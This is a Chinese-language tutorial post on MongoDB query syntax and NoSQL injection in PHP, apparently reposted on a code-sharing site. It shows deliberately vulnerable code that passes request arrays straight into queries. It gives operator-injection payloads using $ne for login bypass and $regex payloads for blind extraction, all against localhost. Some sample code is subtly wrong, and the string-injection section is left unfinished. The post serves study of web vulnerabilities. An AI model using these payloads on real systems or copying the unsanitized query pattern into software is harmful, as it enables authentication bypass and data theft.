[NoSql注入] MongoDB學習


0x00 安裝

下載:http://dl.mongodb.org/dl/win32/x86_64

安裝:http://www.runoob.com/mongodb/mongodb-window-install.html

 

0x01 MongoDB語法

我們先學習下MongoDB的使用,知己知彼,方能百戰百勝,只有了解了對方,才能找尋弱點,一擊擊破

下面都是以PHP為例

數據庫操作基本是增刪改查,MongoDB的增刪改查怎么個不是SQL呢,下面我們來看一下

<?php
 
$mongo = new mongoclient();// 連接默認主機和端口為:mongodb://localhost:27017
 
$db = $mongo->security; //選擇數據庫
 
$coll = $db->users; //選擇集合(表)
 
$coll->save({'id':1,'name':'admin','passwd':'admin'});    //增,新增id=1,name=admin,passwd=admin的數據

$coll->insert({'id':1,'name':'admin','passwd':'admin'});//增,這個也是增
$coll->find({'id':1}); //查,查詢id=1的數據 

$coll->remove({'id':1}); //減,刪除id=1的數據

$coll->update({'id':1},{'name':'superadmin'}); //改,將id=1的name改為supername

?>

 大家通過上面應該可以察覺到數據傳輸是通過json承載的

說明:JSON 是一種輕量級的數據交換格式。它基於 ECMAScript 的一個子集,采用完全獨立於編程語言的文本格式來存儲和表示數據。簡潔和清晰的層次結構使得 JSON 成為理想的數據交換語言,它易於人閱讀和編寫,同時也易於機器解析和生成,並能有效地提升網絡傳輸效率。如:{\"firstName\": \"Brett\", \"lastName\": \"McLaughlin\"}

 

還有一種執行的方法,是直接執行字符串的

<?php
 
$mongo = new mongoclient();// 連接默認主機和端口為:mongodb://localhost:27017
 
$db = $mongo->security; //選擇數據庫(表)
 
$query = "db.users.save({'id':1})";    //增
$query = "db.users.insert({'id':1})"; //增
$query = "db.users.find({'id':1})"; //查 

$query = "db.users.remove({'id':1})"; //減

$query = "db.users.update({'id':1},{'name','superadmin'})"; 改

$result = $db->execute($query);

?>

 上面都是連接users表進行操作的。db.users.find({'id':1})這種其實是js的語句,最后通過execute($sql)執行sql操作,execute其實就是執行js語句

針對上面兩種執行方式,有不同的注入攻擊方式。

 

0x02 注入攻擊

針對上面兩種執行方式,分類兩種攻擊方式:操作符注入、字符串注入 ,詳細介紹下注入原理前,先補充知識

比較條件操作符

"$lt", "$lte", "$gt", "$gte", "$ne"
對應於:"<","<=",">",">=","!="

正則操作符

$regex

實際運用

db.items.find({"name" :"admin", "password" : {$ne : "1"}})
#查詢name=admin及password不等以1的數據
相當於SQL語句:select * from item where name='admin' and password != 1;

db.items.find({"name" :{'$regex':"^a"}})
#查詢正則匹配字母a開頭的數據

操作符注入

測試代碼

<?php
 
$mongo = new mongoclient();// 連接默認主機和端口為:mongodb://localhost:27017
 
$db = $mongo->security; //選擇數據庫
 
$coll = $db->users; //選擇集合(表)

$username = $_GET['username'];
$password = $_GET['password'];

$data = array(
    'username' => $username,
    'password' => $password
    );
echo 'data_array->'.$data.PHP_EOL; $coll->find($data); //查,查詢id=1的數據 $count = $coll->count(); if($count > 0){ foreach($data as $key => $value){ echo $key.'->'.$value.PHP_EOL; } }else{ echo 'NOT FIND.'; } ?>

 傳入數據?username=test&password=test

輸出:username->test password->test

傳入的url為:

http://127.0.0.1/mongodb.php?username=test&password=test

執行了語句:

db.users.find({'username':'test','password':'test'});

 如果傳入參數如下:

http://127.0.0.1/mongodb.php?username[xxx]=test&password=test

則$username就變成了個數組了,我們可以做下試驗

<?php
 
$username = $_GET['username'];
$password = $_GET['password'];

$data = array(
    'username' => $username,
    'password' => $password
    );
 
foreach($data as $user => $value){
    echo $user."->".$value.PHP_EOL;
        
}

?>

傳入:http://127.0.0.1/mongodb.php?username[xxx]=test&password=test

輸出:username->Array password->test

可以看出$username變成數組了

 數組相當於:

$data = array(
'username'=>array('xxx'=>'test'),
'password'=>'test');

-->

$data={'username':{'xxx':'test'},'password':'test'}

 這樣MongoDB最后執行如下語句:

db.users.find({'username':{'xxx':'test'},'password':'test'});

 利用此特性我們可以注入操作符("$lt", "$lte", "$gt", "$gte", "$ne"),完成一些意料之外的操作了

eg:http://127.0.0.1/mongodb.php?username[$ne]=test&password[$ne]=test

這樣就可以查詢到出test/test的賬號密碼了

上面傳入的參數,相當於執行的MongoDB語句:

db.users.find({'username':{'$ne':'test'},'password':{'$ne':'test'}});

 相當於sql語句:

select * from users where usrname != 'test' and password != 'test';

 

上面的例子是有回顯的,那如果沒有回顯呢,我們傳統SQL注入的這種情況就是盲注了,NoSql是否也有呢?有的。

利用上面介紹的正則操作符$regex

eg:http://127.0.0.1/mongodb.php?username[$regex]=^a&password[$regex]=^b

上面傳入的參數,相當於執行的MongoDB語句:

db.users.find({'username':{'$regex':'^a'},'password':{'$regex':'^b'}});

 意思是查詢username以字符a開頭及password以字符b開頭的數據。^o^

 

字符串注入

這個就是利用execute方法執行js寫的查詢

 

 

 

【未完待續】

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM